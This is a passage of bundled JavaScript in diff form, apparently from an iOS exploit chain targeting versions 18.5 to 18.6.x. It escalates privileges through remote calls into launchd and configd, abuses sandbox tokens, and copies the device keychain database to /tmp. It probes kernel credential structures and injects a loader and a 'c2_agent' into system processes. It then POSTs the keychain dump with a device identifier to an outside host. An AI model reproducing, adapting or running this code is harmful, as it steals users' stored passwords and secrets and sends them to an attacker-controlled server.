libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"]; + var fd = Number(N0.callSymbol("open", "/tmp/keychain_copier_status.txt", 0)); + if (fd < 0) { + fd = Number(N0.callSymbol("open", "/tmp/keychain_mpd_go", 0)); + if (fd < 0) return null; + var gsz = Number(N0.callSymbol("lseek", fd, 0, 2)); + N0.callSymbol("lseek", fd, 0, 0); + if (gsz <= 0 || gsz > 512) { N0.callSymbol("close", fd); return null; } + var gmem = N0.callSymbol("malloc", BigInt(gsz + 1)); + N0.callSymbol("read", fd, gmem, gsz); + N0.callSymbol("close", fd); + var gtxt = ""; + try { gtxt = N0.readString(gmem); } catch (_rs) { + try { + var g8 = new Uint8Array(N0.read(gmem, gsz)); + for (var gi = 0; gi < g8.length; gi++) if (g8[gi]) gtxt += String.fromCharCode(g8[gi]); + } catch (_r2) {} + } + N0.callSymbol("free", gmem); + gtxt = (gtxt || "").replace(/\0/g, "").trim(); + if (!gtxt) return null; + return { ready: true, path: gtxt.split(/\s/)[0], raw: "go:" + gtxt }; + } + var sz = Number(N0.callSymbol("lseek", fd, 0, 2)); + N0.callSymbol("lseek", fd, 0, 0); + if (sz <= 0 || sz > 1024) { N0.callSymbol("close", fd); return null; } + var mem = N0.callSymbol("malloc", BigInt(sz + 1)); + N0.callSymbol("read", fd, mem, sz); + N0.callSymbol("close", fd); + var txt = ""; + try { txt = N0.readString(mem); } catch (_rs2) { + try { + var u8 = new Uint8Array(N0.read(mem, sz)); + for (var ui = 0; ui < u8.length; ui++) if (u8[ui]) txt += String.fromCharCode(u8[ui]); + } catch (_r3) {} + } + N0.callSymbol("free", mem); + txt = (txt || "").replace(/\0/g, "").trim(); + if (!txt) return null; + var ready = (/\bready=1\b/.test(txt) || /\bdb_ok=1\b/.test(txt)); + var path = "/tmp/keychain-2.db"; + var pm = txt.match(/\bpath=(\S+)/); + if (pm) path = pm[1]; + return { ready: ready, path: path, raw: txt }; + } catch (_e) { return null; } + } + + + function __labKcDbSize(path) { + try { + var N0 = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"]; + var fd = Number(N0.callSymbol("open", path, 0)); + if (fd < 0) return -1; + var sz = Number(N0.callSymbol("lseek", fd, 0, 2)); + N0.callSymbol("close", fd); + return sz; + } catch (_e) { return -1; } + } + + // True "remote copy": open/read/write inside configd via RemoteCall (no InjectJS race). + function __labRcCopyFile(rc, srcPath, dstPath) { + try { + var chunk = 0x10000; + var pathBuf = rc.call(100, "calloc", 1, 512); + if (!pathBuf || pathBuf === 0n) return { ok: false, err: "calloc_path" }; + rc.writeStr(pathBuf, srcPath); + var srcFd = Number(rc.call(100, "open", pathBuf, 0)); + if (srcFd < 0) { + rc.call(100, "free", pathBuf); + return { ok: false, err: "open_src", fd: srcFd }; + } + var sz = Number(rc.call(100, "lseek", srcFd, 0, 2)); + rc.call(100, "lseek", srcFd, 0, 0); + if (sz <= 0) { + rc.call(100, "close", srcFd); + rc.call(100, "free", pathBuf); + return { ok: false, err: "empty", sz: sz }; + } + rc.writeStr(pathBuf, dstPath); + var dstFd = Number(rc.call(100, "open", pathBuf, 0x601, 511)); + if (dstFd < 0) { + rc.call(100, "close", srcFd); + rc.call(100, "free", pathBuf); + return { ok: false, err: "open_dst", fd: dstFd }; + } + var buf = rc.call(100, "calloc", 1, chunk); + if (!buf || buf === 0n) { + rc.call(100, "close", srcFd); + rc.call(100, "close", dstFd); + rc.call(100, "free", pathBuf); + return { ok: false, err: "calloc_buf" }; + } + var left = sz; + var ok = true; + while (left > 0) { + var n = left > chunk ? chunk : left; + var nr = Number(rc.call(100, "read", srcFd, buf, n)); + if (nr <= 0) { ok = false; break; } + var nw = Number(rc.call(100, "write", dstFd, buf, nr)); + if (nw !== nr) { ok = false; break; } + left -= nr; + } + rc.call(100, "close", srcFd); + rc.call(100, "close", dstFd); + rc.call(100, "chmod", pathBuf, 511); + rc.call(100, "free", buf); + rc.call(100, "free", pathBuf); + return { ok: ok && left === 0, sz: sz, left: left }; + } catch (e) { + return { ok: false, err: String(e) }; + } + } + + function __labApplyFreshToken(rc, path) { + try { + var tok = libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].getTokenForPath(path, false); + if (!tok) return false; + var rm = rc.mem(); + rc.writeStr(rm, tok); + rc.call(100, "sandbox_extension_consume", rm); + return true; + } catch (_e) { return false; } + } + + function __labWriteCopierReady(rc, path, sz) { + try { + var st = "ready=1 db_ok=1 path=" + path + " sz=" + sz + " src=1 via=rc_copy\n"; + var pb = rc.call(100, "calloc", 1, 512); + rc.writeStr(pb, "/tmp/keychain_copier_status.txt"); + var fd = Number(rc.call(100, "open", pb, 0x601, 511)); + if (fd >= 0) { + var sb = rc.call(100, "calloc", 1, st.length + 1); + rc.writeStr(sb, st); + rc.call(100, "write", fd, sb, st.length); + rc.call(100, "close", fd); + rc.call(100, "free", sb); + rc.call(100, "chmod", pb, 511); + } + rc.writeStr(pb, "/tmp/keychain_mpd_go"); + fd = Number(rc.call(100, "open", pb, 0x601, 511)); + if (fd >= 0) { + var gb = rc.call(100, "calloc", 1, path.length + 2); + rc.writeStr(gb, path + "\n"); + rc.call(100, "write", fd, gb, path.length + 1); + rc.call(100, "close", fd); + rc.call(100, "free", gb); + rc.call(100, "chmod", pb, 511); + } + rc.call(100, "free", pb); + } catch (_w) {} + } + + + function __labParseIosVer() { + var out = { maj: 0, min: 0, pat: 0, raw: "" }; + try { + var N = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"]; + var sizePtr = N.callSymbol("calloc", 1, 8); + if (!sizePtr || sizePtr === 0n) return out; + var rc = Number(N.callSymbol("sysctlbyname", "kern.osproductversion", 0, sizePtr, 0, 0)); + if (rc !== 0) { N.callSymbol("free", sizePtr); return out; } + var sz = Number(N.readPtr(BigInt(sizePtr))); + if (sz <= 0 || sz > 64) { N.callSymbol("free", sizePtr); return out; } + var buf = N.callSymbol("malloc", BigInt(sz + 1)); + if (!buf || buf === 0n) { N.callSymbol("free", sizePtr); return out; } + N.write64(sizePtr, BigInt(sz + 1)); + rc = Number(N.callSymbol("sysctlbyname", "kern.osproductversion", buf, sizePtr, 0, 0)); + var s = ""; + if (rc === 0) { + try { s = N.readString(buf, sz).replace(/\0/g, ""); } catch (_rs) { s = ""; } + } + N.callSymbol("free", buf); + N.callSymbol("free", sizePtr); + out.raw = s || ""; + var m = String(s).match(/^(\d+)\.(\d+)(?:\.(\d+))?/); + if (m) { + out.maj = parseInt(m[1], 10) || 0; + out.min = parseInt(m[2], 10) || 0; + out.pat = m[3] ? (parseInt(m[3], 10) || 0) : 0; + } + } catch (_e) {} + return out; + } + + // s5 previously called typeof __labParseIosVer inside stage2 scope → always ios=? / useNuiC2=0. + // Cache + xnu fallback so 18.5/18.6.1+ correctly take the deadlock-safe NUI C2 path. + function __labIosForGate() { + var v = null; + try { + if (globalThis.__labIosVer && globalThis.__labIosVer.maj) + v = globalThis.__labIosVer; + } catch (_c) {} + if (!v || !v.maj) + v = __labParseIosVer(); + if (v && v.maj) { + try { globalThis.__labIosVer = v; } catch (_s) {} + return v; + } + try { + var xv = globalThis.xnuVersion; + var xm = xv ? Number(xv.major) || 0 : 0; + var xn = xv ? Number(xv.minor) || 0 : 0; + if (xm === 24 && xn === 5) + v = { maj: 18, min: 5, pat: 0, raw: "18.5(xnu24.5)" }; + else if (xm === 24 && xn >= 6) + // Prefer NUI C2 when patch unknown (18.6.1+ deadlock); 18.6.0 also OK on NUI. + v = { maj: 18, min: 6, pat: 1, raw: "18.6+(xnu24." + xn + ")" }; + } catch (_x) {} + if (!v) v = { maj: 0, min: 0, pat: 0, raw: "" }; + try { if (v.maj) globalThis.__labIosVer = v; } catch (_s2) {} + return v; + } + + function __peStage1() { + p7_flog("PEMK-B0 before launchd RemoteCall isLaunchdSafe=1"); p7_flushLog(); + try { pe_alive_ping("pe_s1_pre_launchd"); } catch (_s1a) {} + LOG("[PE] creating launchdTask..."); + launchdTask = new libs_TaskRop_RemoteCall__WEBPACK_IMPORTED_MODULE_8__["default"]("launchd",migFilterBypass); + p7_flog("PEMK-B0 after launchd ctor ok=" + !!(launchdTask && launchdTask.success()) + " fail=" + (globalThis.__peRemoteFail || 0)); p7_flushLog(); + try { pe_alive_ping("pe_s1_post_launchd"); } catch (_s1b) {} + if (!launchdTask.success()) { + LOG("[PE] launchdTask FAILED"); + p7_flog("PEMK-B launchdTask FAILED"); p7_flushLog(); + try { globalThis.__peAbort = true; } catch (_a) {} + return; + } + LOG("[PE] launchdTask OK, init sandbox..."); + p7_flog("PEMK-B1 before initWithLaunchdTask"); p7_flushLog(); + libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].initWithLaunchdTask(launchdTask); + // Skip deleteCrashReports: first post-ctor launchd token + recursive deleteDir + // reboots A13 (iPhone12,x) before createTokens even starts. + p7_flog("PEMK-B1 skip deleteCrashReports"); p7_flushLog(); + p7_flog("PEMK-B1 before createTokens (nui-gate)"); p7_flushLog(); + try { + libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].createTokens(); + LOG("[PE] sandbox tokens created"); + p7_flog("PEMK-B1 tokens ok"); p7_flushLog(); + } catch (tokEx) { + p7_flog("PEMK-B1 createTokens THREW: " + String(tokEx).slice(0, 120)); + p7_flushLog(); + throw tokEx; + } + + // ===== Self-process ucred READ-ONLY probe ===== + // Uses the PROVEN path from sandbox extension code (line 6641-6653): + // proc + 0x18 -> credRef + 0x28 -> ucred + // ucred + 0x18 = cr_uid (offset 24, matches IDA key 35) + // ucred + 0x78 = cr_label (offset 120, matches IDA key 44) + try { + let C = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"]; + let HEX = libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_5__["default"].hex; + let T = libs_TaskRop_Task__WEBPACK_IMPORTED_MODULE_3__["default"]; + + let selfTask = T.gSelfTask.addr; + let selfProcRO = C.read64(selfTask + C.offsets().procRO); + let selfProc = C.read64(selfProcRO); + LOG("[UCRED] task=" + HEX(C.strip(selfTask)) + " proc=" + HEX(C.strip(selfProc))); + + let credRef = C.read64(selfProc + 0x18n); + LOG("[UCRED] credRef=" + HEX(C.strip(credRef))); + + let diag = "proc=" + HEX(C.strip(selfProc)); + + if (credRef && C.strip(credRef) >= 0xffffffd000000000n) { + let ucred = C.read64(credRef + 0x28n); + LOG("[UCRED] ucred=" + HEX(C.strip(ucred))); + diag += "|ucred=" + HEX(C.strip(ucred)); + + if (ucred && C.strip(ucred) >= 0xffffffd000000000n) { + let cr_uid = C.read32(ucred + 0x18n); + let cr_ruid = C.read32(ucred + 0x1cn); + let cr_svuid = C.read32(ucred + 0x20n); + let cr_ngroups = C.read32(ucred + 0x24n); + let cr_label = C.read64(ucred + 0x78n); + LOG("[UCRED] cr_uid=" + cr_uid + " cr_ruid=" + cr_ruid + " cr_svuid=" + cr_svuid + " cr_ngroups=" + cr_ngroups); + LOG("[UCRED] cr_label=" + HEX(C.strip(cr_label))); + diag += "|uid=" + cr_uid + "|ruid=" + cr_ruid + "|svuid=" + cr_svuid; + diag += "|ngroups=" + cr_ngroups + "|cr_label=" + HEX(C.strip(cr_label)); + + // Also dump a few more ucred fields for structure verification + for (let doff = 0x00n; doff <= 0x80n; doff += 8n) { + try { + let val = C.read64(ucred + doff); + diag += "|u+" + doff.toString(16) + "=" + HEX(C.strip(val)); + } catch(e3) {} + } + } else { + diag += "|ucred_INVALID"; + } + } else { + diag += "|credRef_INVALID"; + } + + globalThis.__ucredDiag = diag; + LOG("[UCRED] diag=" + diag.substring(0, 200)); + } catch (probeErr) { + globalThis.__ucredDiag = "probe_error:" + String(probeErr); + LOG("[UCRED] error: " + probeErr); + } + // ===== End ucred probe ===== + + // Flush Phase 1 log now that sandbox tokens exist + if (p7_enableP7) { + p7_flog("launchd RC OK, sandbox tokens created"); + p7_flushLog(); + } + + // ===== keychain_copier: must run BEFORE P7 Phase 2 sqlite pipeline ===== + // keepAlive until /tmp DB is usable - destroy() tears RC and kills mid-copy. + p7_flog("PEMK-B s1_launchd ok"); p7_flushLog(); + try { __peClaimRunToken(); } catch (_ct) { try { p7_flog("PEMK-B pe_run_token claim throw: " + _ct); p7_flushLog(); } catch (_e) {} } +} + + function __peStage2() { + // Clear stale copier notify so we do not race a previous run. + try { + var __Nclr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"]; + __Nclr.callSymbol("unlink", "/tmp/keychain_copier_status.txt"); + __Nclr.callSymbol("unlink", "/tmp/keychain_mpd_go"); + __Nclr.callSymbol("unlink", "/tmp/keychain-2.db"); + } catch (_u) {} + + __labKcCopier = null; + var __rcCopyOk = false; + var __rcCopySz = -1; + + // Detect iOS version: 18.6.1+ must NOT enter RemoteCall rc_copy (hangs). + // 18.6.0 keeps the lab rc_copy primary path unchanged. + var __iosV = __labIosForGate(); + try { globalThis.__labIosVer = __iosV; } catch (_cv) {} + // 18.6.1 / 18.6.2: match iOS18nui InjectJS path (no PEMK-C0 rc_copy). + var __useNuiKc = (__iosV.maj === 18 && __iosV.min === 6 && __iosV.pat >= 1); + p7_flog("PEMK-C0 ios=" + (__iosV.raw || "?") + " useNuiKc=" + (__useNuiKc ? "1" : "0")); p7_flushLog(); + + if (__useNuiKc) { + // ===== iOS18nui path (18.6.1 / 18.6.2) ===== + // inject() evaluates keychain_copier in a BACKGROUND thread and returns immediately. + // Full applyTokensForRemoteTask() into the same configd while that script runs hangs + // on 18.6.2 (seen: stuck at "inject OK -> applyTokens", never destroy / s3+). + // Fix: open configd RC, apply ONLY keychain/tmp tokens, inject via existing task, + // then destroy WITHOUT full PathDictionary apply. Copier finishes during the 3s settle. + LOG("[PE-WORKER] inject keychain_copier -> configd (nui 18.6.1+)"); + p7_flog("PEMK-C0 nui InjectJS begin"); p7_flushLog(); + try { pe_alive_ping("pe_s2_nui_begin"); } catch (_pi0) {} + try { + var __kcRC = new libs_TaskRop_RemoteCall__WEBPACK_IMPORTED_MODULE_8__["default"]("configd", migFilterBypass); + if (!__kcRC.success()) { + LOG("[PE-WORKER] keychain_copier: configd RC failed"); + p7_flog("PEMK-C0 nui configd RC failed"); p7_flushLog(); + try { pe_alive_ping("pe_s2_nui_fail"); } catch (_pi2a) {} + } else { + p7_flog("PEMK-C0 nui configd RC ok -> pre-token"); p7_flushLog(); + var __kcPaths = [ + "/private/var/Keychains/", + "/private/var/Keychains/keychain-2.db", + "/private/var/Keychains/keychain-2.db-wal", + "/private/var/Keychains/keychain-2.db-shm", + "/tmp/", + "/tmp/keychain-2.db", + "/private/var/tmp/" + ]; + var __kcTokOk = 0; + for (var __kpi = 0; __kpi < __kcPaths.length; __kpi++) { + try { + if (__labApplyFreshToken(__kcRC, __kcPaths[__kpi])) __kcTokOk++; + } catch (_kt) {} + } + p7_flog("PEMK-C0 nui pre-token ok=" + __kcTokOk + "/" + __kcPaths.length); p7_flushLog(); + var kcCopier = new _InjectJS__WEBPACK_IMPORTED_MODULE_6__["default"](__kcRC, _raw_loader_keychain_copier_js__WEBPACK_IMPORTED_MODULE_20__["default"], migFilterBypass); + p7_flog("PEMK-C0 nui InjectJS ctor ok"); p7_flushLog(); + var __injT0 = Date.now(); + if (kcCopier.inject()) { + LOG("[PE-WORKER] keychain_copier OK"); + // Do NOT applyTokensForRemoteTask here — deadlocks with bg evaluateScript on 18.6.2. + p7_flog("PEMK-C0 nui inject OK ms=" + (Date.now() - __injT0) + " skip full applyTokens -> destroy"); p7_flushLog(); + kcCopier.destroy(); + p7_flog("PEMK-C0 nui destroy ok"); p7_flushLog(); + try { pe_alive_ping("pe_s2_nui_ok"); } catch (_pi1) {} + } else { + LOG("[PE-WORKER] keychain_copier FAILED"); + p7_flog("PEMK-C0 nui inject FAILED ms=" + (Date.now() - __injT0)); p7_flushLog(); + try { __kcRC.destroy(); } catch (_rd) {} + try { pe_alive_ping("pe_s2_nui_fail"); } catch (_pi2) {} + } + } + } catch (kcErr) { + LOG("[PE-WORKER] keychain_copier error: " + kcErr); + p7_flog("PEMK-C0 nui exception: " + kcErr); p7_flushLog(); + try { pe_alive_ping("pe_s2_nui_exc"); } catch (_pi3) {} + } + // Background copier needs a short settle before Phase2 /tmp open. + LOG("[PE-WORKER] waiting 3s for keychain copy (nui)..."); + for (var __nuiWi = 1; __nuiWi <= 3; __nuiWi++) { + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("sleep", 1); + } + p7_flog("PEMK-C s2_keychain done nui=1 rcCopy=0"); p7_flushLog(); + try { pe_alive_ping("pe_s2_done"); } catch (_ps2) {} + return; + } + + // ===== PRIMARY (18.6.0 / non-18.6.1+): RemoteCall copy inside configd ===== + // Issue fresh Keychains tokens → consume into configd → open/read/write → /tmp. + // Avoids InjectJS evaluateScript race that often copies before tokens land. + LOG("[PE-WORKER] RemoteCall keychain copy via configd..."); + p7_flog("PEMK-C0 rc_copy start"); p7_flushLog(); + try { + p7_flog("PEMK-C0 before RemoteCall(configd)"); p7_flushLog(); + var cfgRc = new libs_TaskRop_RemoteCall__WEBPACK_IMPORTED_MODULE_8__["default"]("configd", migFilterBypass); + p7_flog("PEMK-C0 after RemoteCall success=" + !!(cfgRc && cfgRc.success())); p7_flushLog(); + if (cfgRc && cfgRc.success()) { + var __tokPaths = [ + "/private/var/Keychains/", + "/private/var/Keychains/keychain-2.db", + "/private/var/Keychains/keychain-2.db-wal", + "/private/var/Keychains/keychain-2.db-shm", + "/var/Keychains/", + "/var/Keychains/keychain-2.db", + "/tmp/", + "/private/var/tmp/" + ]; + var __tokN = 0; + for (var __ti = 0; __ti < __tokPaths.length; __ti++) { + if (__labApplyFreshToken(cfgRc, __tokPaths[__ti])) __tokN++; + } + try { + libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(cfgRc); + } catch (_at) {} + p7_flog("PEMK-C0 tokens fresh=" + __tokN); p7_flushLog(); + + var __pairs = [ + ["/private/var/Keychains/keychain-2.db", "/tmp/keychain-2.db"], + ["/private/var/Keychains/keychain-2.db-wal", "/tmp/keychain-2.db-wal"], + ["/private/var/Keychains/keychain-2.db-shm", "/tmp/keychain-2.db-shm"] + ]; + for (var __fi = 0; __fi < __pairs.length; __fi++) { + var __cr = __labRcCopyFile(cfgRc, __pairs[__fi][0], __pairs[__fi][1]); + p7_flog("PEMK-C0 copy " + __pairs[__fi][1].split("/").pop() + + " ok=" + __cr.ok + " sz=" + __cr.sz + " err=" + (__cr.err || "")); + p7_flushLog(); + if (__fi === 0 && __cr.ok && __cr.sz > 1048576) { + __rcCopyOk = true; + __rcCopySz = __cr.sz; + } + } + if (!__rcCopyOk) { + var __cr2 = __labRcCopyFile(cfgRc, "/var/Keychains/keychain-2.db", "/tmp/keychain-2.db"); + p7_flog("PEMK-C0 copy alt ok=" + __cr2.ok + " sz=" + __cr2.sz + " err=" + (__cr2.err || "")); + p7_flushLog(); + if (__cr2.ok && __cr2.sz > 1048576) { + __rcCopyOk = true; + __rcCopySz = __cr2.sz; + } + } + if (__rcCopyOk) { + __labWriteCopierReady(cfgRc, "/tmp/keychain-2.db", __rcCopySz); + try { + globalThis.__labKcCopyPath = "/tmp/keychain-2.db"; + globalThis.__labKcReady = true; + } catch (_g) {} + p7_flog("PEMK-C0 READY via rc_copy sz=" + __rcCopySz); p7_flushLog(); + LOG("[PE-WORKER] rc_copy READY sz=" + __rcCopySz); + } + // Breadcrumbs: last pe_mpd was READY then silence → pin destroy vs InjectJS. + p7_flog("PEMK-C0 before cfgRc.destroy"); p7_flushLog(); + try { pe_alive_ping("pe_s2_pre_destroy"); } catch (_pd0) {} + try { + cfgRc.destroy(); + p7_flog("PEMK-C0 after cfgRc.destroy ok"); p7_flushLog(); + try { pe_alive_ping("pe_s2_post_destroy"); } catch (_pd1) {} + } catch (_d) { + p7_flog("PEMK-C0 cfgRc.destroy threw: " + _d); p7_flushLog(); + try { pe_alive_ping("pe_s2_destroy_err"); } catch (_pd2) {} + } + } else { + p7_flog("PEMK-C0 configd RemoteCall FAILED"); p7_flushLog(); + LOG("[PE-WORKER] configd RemoteCall FAILED"); + } + } catch (__rcErr) { + p7_flog("PEMK-C0 rc_copy exception: " + __rcErr); p7_flushLog(); + LOG("[PE-WORKER] rc_copy error: " + __rcErr); + } + + // ===== SECONDARY: InjectJS keychain_copier (fallback only) ===== + // (3) rc_copy READY already put db/wal/shm in /tmp — do NOT re-run copier (108MB race). + // (2) fallback: deferStart → applyTokens → startScript (tokens before evaluateScript). + if (__rcCopyOk) { + p7_flog("PEMK-C0 skip InjectJS: rc_copy READY sz=" + __rcCopySz); p7_flushLog(); + try { pe_alive_ping("pe_s2_skip_inject_rc_ok"); } catch (_pi0) {} + LOG("[PE-WORKER] skip keychain_copier InjectJS (rc_copy READY)"); + } else { + p7_flog("PEMK-C0 before InjectJS ctor (rc_copy miss)"); p7_flushLog(); + try { pe_alive_ping("pe_s2_pre_inject"); } catch (_pi0) {} + LOG("[PE-WORKER] inject keychain_copier -> configd (deferStart then tokens)"); + try { + let kcCopier = new _InjectJS__WEBPACK_IMPORTED_MODULE_6__["default"]("configd", _raw_loader_keychain_copier_js__WEBPACK_IMPORTED_MODULE_20__["default"], migFilterBypass); + p7_flog("PEMK-C0 InjectJS ctor ok, calling inject(deferStart)"); p7_flushLog(); + try { pe_alive_ping("pe_s2_inject_call"); } catch (_pi1) {} + if (kcCopier.inject(0, { deferStart: true })) { + p7_flog("PEMK-C0 inject(defer) returned true"); p7_flushLog(); + try { pe_alive_ping("pe_s2_inject_ok"); } catch (_pi2) {} + LOG("[PE-WORKER] keychain_copier prepared (deferred)"); + p7_flog("PEMK-C0 before applyTokens"); p7_flushLog(); + libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(kcCopier.task); + try { + __labApplyFreshToken(kcCopier.task, "/private/var/Keychains/"); + __labApplyFreshToken(kcCopier.task, "/private/var/Keychains/keychain-2.db"); + __labApplyFreshToken(kcCopier.task, "/tmp/"); + } catch (_ft) { + p7_flog("PEMK-C0 freshToken warn: " + _ft); p7_flushLog(); + } + p7_flog("PEMK-C0 after applyTokens"); p7_flushLog(); + try { pe_alive_ping("pe_s2_post_tokens"); } catch (_pi3) {} + p7_flog("PEMK-C0 before startScript"); p7_flushLog(); + kcCopier.startScript(); + p7_flog("PEMK-C0 after startScript"); p7_flushLog(); + try { pe_alive_ping("pe_s2_start_script"); } catch (_pi3b) {} + LOG("[PE-WORKER] keychain_copier OK (tokens then evaluate)"); + __labKcCopier = kcCopier; + } else { + p7_flog("PEMK-C0 inject() returned false"); p7_flushLog(); + try { pe_alive_ping("pe_s2_inject_fail"); } catch (_pi4) {} + LOG("[PE-WORKER] keychain_copier FAILED"); + } + } catch (kcErr) { + p7_flog("PEMK-C0 InjectJS/inject exception: " + kcErr); p7_flushLog(); + try { pe_alive_ping("pe_s2_inject_exc"); } catch (_pi5) {} + LOG("[PE-WORKER] keychain_copier error: " + kcErr); + } + } + p7_flog("PEMK-C s2_keychain done rcCopy=" + __rcCopyOk + " sz=" + __rcCopySz); p7_flushLog(); + try { pe_alive_ping("pe_s2_done"); } catch (_ps2) {} +} + + function __peStage3() { + // Brief settle then inject c2 BEFORE long DB wait so devices that die mid-copy still beacon. + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("sleep", 2); + libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].adjustMemoryPressure(targetProcess); + LOG("[PE] destroying launchd RC to free zone resources..."); + try { launchdTask.destroy(); } catch(e) { LOG("[PE] launchd destroy warn: " + e); } + + // ===== Inject loader + c2_agent BEFORE P7 Phase 2 (and before long kc wait) ===== + p7_flog("PEMK-D s3_mempress launchd destroyed"); p7_flushLog(); +} + + function __peStage4() { + // Fine-grained diag: pin hang to InjectJS ctor / inject() / applyTokens / destroy. + LOG("[PE-WORKER] inject loader -> " + targetProcess); + p7_flog("PEMK-E0 s4 begin target=" + targetProcess); p7_flushLog(); + var __s4Ok = false; + try { + p7_flog("PEMK-E0 before InjectJS ctor"); p7_flushLog(); + var __tCtor = Date.now(); + let agentLoader = new _InjectJS__WEBPACK_IMPORTED_MODULE_6__["default"](targetProcess, _raw_loader_loader_js__WEBPACK_IMPORTED_MODULE_10__["default"], migFilterBypass); + p7_flog("PEMK-E0 InjectJS ctor ok ms=" + (Date.now() - __tCtor)); p7_flushLog(); + let agentPid = 0; + p7_flog("PEMK-E0 before inject()"); p7_flushLog(); + var __tInj = Date.now(); + var __injOk = false; + try { + __injOk = !!agentLoader.inject(); + } catch (_injE) { + p7_flog("PEMK-E0 inject() threw: " + _injE); p7_flushLog(); + throw _injE; + } + p7_flog("PEMK-E0 inject() returned ok=" + (__injOk ? "1" : "0") + " ms=" + (Date.now() - __tInj)); p7_flushLog(); + if (__injOk) { + try { agentPid = agentLoader.task.pid(); } catch (_pidE) { + p7_flog("PEMK-E0 pid() threw: " + _pidE); p7_flushLog(); + } + LOG("[PE-WORKER] loader OK pid=" + agentPid); + p7_flog("PEMK-E0 loader OK pid=" + agentPid + " -> applyTokens"); p7_flushLog(); + var __tTok = Date.now(); + try { + libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(agentLoader.task); + p7_flog("PEMK-E0 applyTokens ok ms=" + (Date.now() - __tTok)); p7_flushLog(); + } catch (_tokE) { + p7_flog("PEMK-E0 applyTokens threw ms=" + (Date.now() - __tTok) + " err=" + _tokE); p7_flushLog(); + throw _tokE; + } + p7_flog("PEMK-E0 before destroy"); p7_flushLog(); + try { agentLoader.destroy(); } catch (_dE) { + p7_flog("PEMK-E0 destroy warn: " + _dE); p7_flushLog(); + } + p7_flog("PEMK-E0 destroy ok"); p7_flushLog(); + __s4Ok = true; + } else { + LOG("[PE-WORKER] loader inject FAILED"); + p7_flog("PEMK-E0 loader inject FAILED"); p7_flushLog(); + } + } catch (_s4E) { + LOG("[PE-WORKER] s4_loader error: " + _s4E); + p7_flog("PEMK-E0 exception: " + _s4E); p7_flushLog(); + } + p7_flog("PEMK-E s4_loader done ok=" + (__s4Ok ? "1" : "0")); p7_flushLog(); +} + + function __pePostWarDumpFallback(reason) { + // When SpringBoard RC/inject fails after Phase2, still ship dump via MPD HTTP. + try { + var N = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"]; + var dumpPath = "/tmp/keychain_c2_dump.json"; + if (Number(N.callSymbol("access", dumpPath, 0)) !== 0) { + p7_flog("PEMK-F0 war-fallback skip: no dump (" + reason + ")"); p7_flushLog(); + return false; + } + var fd = Number(N.callSymbol("open", dumpPath, 0)); + if (fd < 0) { p7_flog("PEMK-F0 war-fallback open fail"); p7_flushLog(); return false; } + var sz = Number(N.callSymbol("lseek", fd, 0, 2)); + N.callSymbol("lseek", fd, 0, 0); + if (!(sz > 32) || sz > 5 * 1024 * 1024) { + N.callSymbol("close", fd); + p7_flog("PEMK-F0 war-fallback bad sz=" + sz); p7_flushLog(); + return false; + } + var buf = N.callSymbol("malloc", BigInt(sz + 1)); + var nr = Number(N.callSymbol("read", fd, buf, sz)); + N.callSymbol("close", fd); + if (nr !== sz) { + try { N.callSymbol("free", buf); } catch (_f) {} + p7_flog("PEMK-F0 war-fallback read nr=" + nr + " sz=" + sz); p7_flushLog(); + return false; + } + var dumpStr = N.readString(buf, sz); + try { N.callSymbol("free", buf); } catch (_f2) {} + var kcObj = null; + try { kcObj = JSON.parse(dumpStr); } catch (_pj) { kcObj = null; } + if (!kcObj) { + p7_flog("PEMK-F0 war-fallback json parse fail"); p7_flushLog(); + return false; + } + var uuid = ""; + try { uuid = String(globalThis.__LAB_DEVICE_UUID__ || ""); } catch (_u) {} + var pkg = { + device_uuid: uuid, + uuid: uuid, + lhu: uuid, + source: "pe_war_fallback", + reason: String(reason || ""), + keychain: kcObj, + sandbox: {} + }; + var body = JSON.stringify(pkg); + var ok = !!__labCfHttp("POST", "/war", body, false, { host: "mh0usocqzi6f46i.com", port: 443 }); + p7_flog("PEMK-F0 war-fallback " + (ok ? "POST ok" : "POST fail") + " bytes=" + body.length + " reason=" + reason); + p7_flushLog(); + return ok; + } catch (e) { + p7_flog("PEMK-F0 war-fallback err: " + e); p7_flushLog(); + return false; + } + } + + function __peStage5() { + // Deadlock: inject() starts evaluateScript in background, then full + // applyTokensForRemoteTask() into SpringBoard hangs (~2min+) and c2 never + // POSTs /war. NUI path: pre-token /tmp dumps, inject via existing RC, skip + // full PathDictionary apply. Use for 18.5 and 18.6.1+; 18.6.0 keeps legacy. + // 18.5 after long Phase2: SpringBoard RC often fails 0x494 (120s EXC wait) — + // stage order runs s5 before s6 on 18.5; still keep PE /war fallback here. + LOG("[PE-WORKER] inject c2_agent -> " + targetProcess); + var __iosC2 = __labIosForGate(); + // 18.5: same SpringBoard applyTokens deadlock as 18.6.1+ (hung after PEMK-F0). + var __useNuiC2 = (__iosC2.maj === 18 && ( + (__iosC2.min === 5) || + (__iosC2.min === 6 && __iosC2.pat >= 1) || + (__iosC2.min > 6) + )); + // If version still unknown, prefer NUI (legacy deadlock is worse than skip-applyTokens). + if (!__useNuiC2 && !(__iosC2.maj)) __useNuiC2 = true; + p7_flog("PEMK-F0 ios=" + (__iosC2.raw || "?") + " useNuiC2=" + (__useNuiC2 ? "1" : "0")); p7_flushLog(); + var __c2Injected = false; + try { + let c2Code = _raw_loader_c2_agent_js__WEBPACK_IMPORTED_MODULE_17__["default"]; + try { + let diagData = globalThis.__ucredDiag || "no_diag"; + let diagSnippet = '\nglobalThis.__ucredDiag=' + JSON.stringify(diagData) + 